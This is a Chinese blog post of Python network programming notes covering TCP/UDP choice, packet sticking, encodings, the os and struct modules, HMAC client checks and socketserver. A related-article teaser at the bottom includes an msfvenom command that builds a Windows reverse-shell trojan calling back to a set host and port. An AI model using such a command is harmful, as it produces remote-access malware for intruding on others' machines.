day37 Pyhton 网络编程04
# tcp协议和udp协议的选择问题
# tcp
# 大量的连续的数据 传递文件\发送邮件
# 文件的传递
# 下载电影
# udp
# 短消息类 社交软件
# qq 微信
# 在线播放视频 快会丢帧 # 黏包
# 黏包现象
# 连续send,对应连续的recv
# 在tcp连接中 消息之间无边界
# 黏包现象的解决
# send(b'hello') 5 1个字节
# send(b'world') # send(b'hello'*10) 50 2个字节
# send(b'world') # send(b'hello'*100) 500 3个字节
# send(b'world')
# 数据类型 : int str bytes
# 编码 : ascii utf-8 gbk
# 01
# 二进制 --> 十进制
# 计算机习惯用 人用
# 如果像字典一样给每一个文字字母和数字都添加一个编号,就可以用数字表示其他元素了
# 数字 字母 常用的符号 阿拉伯文 第一批我们说的ascii 0-255
# print(bin(65))
# print(bin(250)) # 11111010
# print(chr(250)) # chr接受一个ascii码,返回一个对应的字符
# Aú 01000001 11111010
# 字节 8位是一个字节
# 1字节 = 8位2进制数
# byte bit
# bytes
# ascii
# 各自国家的标准码(没有统一)
# unicode 万国码 浪费空间
# utf-8 节省空间的 万国码
# 文件存储在硬盘上 : 010101010
# 二进制 -8位一读-> 字节
# bytes --> str字符串 # 你要确认bytes类型到底是什么编码的
# bytes.decode('utf-8')
# str --> bytes
# str.encode('utf-8') # utf-8编码之后的字节 '中'
# str.encode('其他编码') # utf-8编码之后的字节 'yo'
# 1.所有编码与编码之间的关系 : ascii码 各自国家的编码(gbk gb2312) unicode(万国码) utf-8(存储了所有国家中的文字)
# 2.你读出来的字符 --> 字节
# 字符串数据类型中的一个元素 就是一个字符 如果是中文字符串,每一个"字"都是一个字符
# 如果是英文字符串,每一个"字母"都是一个字符
# 每一个字符都可以转换成对应的 字节 bytes
# bytes是最接近二进制的内容
# 3.能在文件中存储的\在网络上传输的都是二进制
# 但是计算机中我们传递数据不需要程序员自己去把要传递的内容转成二进制了
# 你只需要把内容转换成bytes(字节)就可以了
# 4.所以如果是utf-8编码的化 对于数字\字母\符号你的转换永远遵循ascii,且只占1个字节
# 5.并且在网络上传输的由于都是字节,所以我们所计算的传输长度,也是字节的长度而不是字符的长度
# recv(1024) 1024代表字节
# 'hello,中国' # 8个字符 = 6个字节 + 3个字节*2 = 6+6 = 12个字节
# 所以我们send的时候send的是字节串,我们接收的时候也接受的是字节串
# 6.你不能在网络上传递int类型,只能传bytes
# int --> str --> bytes
# 5 '5' b'5'
# os模块
# 1.os.path.join('绝对路径','文件名')
# 2.os.path.split(E:\s17\day33\1.内容回顾.py) 分割 :(E:\s17\day33,1.内容回顾.py)
# 3.os.path.dirname('E:\s17\day33') 获取路径的上一级目录'E:\s17'
# 4.os.path.basename('E:\s17\day33') 获取路径的最后一层名字day33
# 5.os.rename
# 6.os.remove
# 7.os.makedirs('E:\s17\day33\new\new2') 创建一个新目录
# os.mkdir('新的路径')
# 8.os.path.isfile('E:\s17\day33\1.内容回顾.py') 判断E:\s17\day33\1.内容回顾.py是不是文件
# 9.os.path.getsize('E:\s17\day33\1.内容回顾.py') 获取1.内容回顾.py文件的字节大小
# 10.os.listdir('E:\s17\day33') 显示'E:\s17\day33'路径下的所有文件和文件夹
# struct模块是干什么的???
# import struct # 只做一件事儿 能够将数字转换成固定4字节的bytes
# ret3 = struct.pack('i',500) # 帮助你 数字 -(固定4个字节)-> bytes
# print(ret3,len(ret3))
# ret2 = struct.pack('i',50) # 帮助你 数字 -(固定4个字节)-> bytes
# print(ret2,len(ret2))
# ret = struct.pack('i',5) # 帮助你 数字 -(固定4个字节)-> bytes
# print(ret,len(ret))
# res = struct.unpack('i',ret)
# print(res)
# res2 = struct.unpack('i',ret2)
# print(res2)
# res3 = struct.unpack('i',ret3)
# print(res3)
# 编码
# os模块
# 网络基础的逻辑
# tcp/udp协议
# 黏包
# socketserver
# 校验客户端是否合法
# 文件的上传
# 本周大作业
# ftp需求
校验客户端是否合法
import os
import socket
import hmac def check_conn(conn):
secret_key = b'alex_sb'
rand_code = os.urandom(32)
conn.send(rand_code)
obj = hmac.new(secret_key,rand_code)
byte_ret = obj.digest()
byte_msg = conn.recv(1024)
if byte_ret == byte_msg:
return True
else:
return False sk = socket.socket()
sk.bind(('127.0.0.1',9000))
sk.listen() conn,addr = sk.accept()
if check_conn(conn):
'''写你本身要写的代码'''
conn.send('你是合法的连接'.encode())
msg = conn.recv(1024)
print(msg.decode())
conn.close() # 只有程序认可的用户才能使用我的server端
# 1.登陆
# 2.随意的一个server
# 只要是我写的client端都可以使用我的server
# 公司通用业务
# 在建立和client端的连接之后
# 有一种检测这个客户端是否合法的机制
# 如果合法 再继续通讯
# 如果不合法 直接关闭
import socket
import hmac
def check_conn(sk):
secret_key = b'alex_sb'
rand_code = sk.recv(32)
obj = hmac.new(secret_key,rand_code)
byte_ret = obj.digest()
sk.send(byte_ret) sk = socket.socket() sk.connect(('127.0.0.1',9000))
check_conn(sk)
# 以下部分你可以自由发挥
print(sk.recv(1024).decode())
sk.send('那么愉快的开始沟通吧'.encode('utf-8'))
sk.close()
socketserver
import struct
import socketserver class Myserver(socketserver.BaseRequestHandler):
def handle(self):
conn = self.request
msg = '你好'.encode('utf-8')*100
int_num = len(msg)
byte_num = struct.pack('i',int_num)
conn.send(byte_num) # 4bytes
conn.send(msg)
conn.send(b'world') server = socketserver.ThreadingTCPServer(('127.0.0.1',9000),Myserver)
server.serve_forever()
import time,struct
import socket
sk = socket.socket() sk.connect(('127.0.0.1',9000))
time.sleep(0.5) num = struct.unpack('i',sk.recv(4))
print(sk.recv(num[0]).decode('utf-8'))
print(sk.recv(1024))
day37 Pyhton 网络编程04的更多相关文章
- Python网络编程04 /recv工作原理、展示收发问题、粘包现象
Python网络编程04 /recv工作原理.展示收发问题.粘包现象 目录 Python网络编程04 /recv工作原理.展示收发问题.粘包现象 1. recv工作原理 2. 展示收发问题示例 发多次 ...
- day34 Pyhton 网络编程
一今日内容 # 函数 # 面向对象 # 进阶 # 网络编程 4 # 并发编程 6-7 # 概念 # 网络基础 # 局域网的概念 # 交换机和路由器的工作流程 # ip地址 # mac地址 # 子网掩码 ...
- day41 Pyhton 并发编程04
内容回顾 socket 最底层的网络通信 所有的网络通信都是基于socket 进程 什么是进程? 是操作系统的发展过程中,为了提高cpu的利用率,在操作系统同时运行多个程序的时候,为了数据的安 ...
- day36 Pyhton 网络编程03
一.内容回顾 socket通常也称作"套接字",用于描述IP地址和端口,是一个通信链的句柄,应用程序通常通过"套接字"向网络发出请求或者应答网络请求. sock ...
- day35 Pyhton 网络编程02
一内容回顾 网络基础 网络应用开发架构 B/S架构 浏览器直接作为客户端的程序 C/S架构 B/S是特殊的C/S osi七层模型 应用层 python代码 http https ftp ...
- Linux网络编程学习路线
转载自:https://blog.csdn.net/lianghe_work/article 一.网络应用层编程 1.Linux网络编程01——网络协议入门 2.Linux网络编程02——无连接和 ...
- [19/04/13-星期六] 网络编程_基本概念(关注传输层、数据传输,TCP和UDP)
一.概念 ▪ 什么是计算机网络? 计算机网络是指将地理位置不同的具有独立功能的多台计算机及其外部设备,通过通信线路连接起来,在网络操作系统, 网络管理软件及网络通信协议的管理和协调下,实现资源共享和信 ...
- Python中级 —— 04网络编程
网络编程 网络编程对所有开发语言都是一样的,Python也不例外.用Python进行网络编程,就是在Python程序本身这个进程内,连接别的服务器进程的通信端口进行通信. TCP编程 TCP建立可靠连 ...
- 【TCP/IP网络编程】:04基于TCP的服务器端/客户端
摘要:结合前面所讲述的知识,本篇文章主要介绍了简单服务器端和客户端实现的框架流程及相关函数接口. 理解TCP和UDP 根据数据传输方式的不同,基于网络协议的套接字一般分为TCP套接字和UDP套接字(本 ...
随机推荐
- 快速启动CMD窗口的办法
在 文件管理器的 地址栏输入cmd回车,cmd会快速在此路径下打开. --END-- 2020-01-07
- 深入理解Java中的装箱与拆箱
一.Java数据类型 1.在说装箱与拆箱之前,先说一下Java的基本数据类型,Java从数据类型上可以划分为值类型与引用类型,值类型是四类八种,分别是: 整数型:byte̵,short̵,int̵,l ...
- python基础 格式化输出
格式化输出 '%s %d %.2f' % ('Novak', 33, 1.88) 需要逗号
- 【Azure DevOps系列】使ASP.NET Core应用程序托管到Azure Web App Service
使用Azure DevOps Project设置ASP.NET项目 我们需要先在Azure面板中创建一个Azure WebApp服务,此处步骤我将省略,然后点击部署中心如下图所示: 此处我选择的是Az ...
- Apache 和 Nginx 下绑定域名
Apache 方法一 参考:链接 版本:2.3 配置文件位置:/usr/share/doc/httpd/httpd-vhosts.conf 添加域名和站点信息: vim /usr/share/doc/ ...
- 关于如何设置IDEA中的servlet的模板
关于如何设置IDEA中的servlet的模板 点击左上角的File: Setting --> Editor --> File and Code Templates --> Other ...
- 架构设计 | 基于Seata中间件,微服务模式下事务管理
源码地址:GitHub·点这里 || GitEE·点这里 一.Seata简介 1.Seata组件 Seata是一款开源的分布式事务解决方案,致力于提供高性能和简单易用的分布式事务服务.Seata将为用 ...
- mongodb3.4.5用http访问28017端口
4.要想用28017去访问,百度说必须开启http服务 4.1.前提: windows下安装mongodb必须装在没有中文和空格的目录下,我直接装在了D盘根目录 删掉MongoDB\Server\3. ...
- msf生成木马
Msf生成木马:(多层加密都不能免杀) msfvenom -p windows/shell_reverse_tcp lhost=192.168.33.143 lport=7001 -f raw -e ...
- Hadoop入门学习整理(二)
2020-04-15 在上一篇文章中介绍了Linux虚拟机的安装,Hadoop的安装和配置,这里接着上一篇的内容,讲Hadoop的简要介绍和简单使用, 以及HBase的安装和配置. 1.首先要了解Ha ...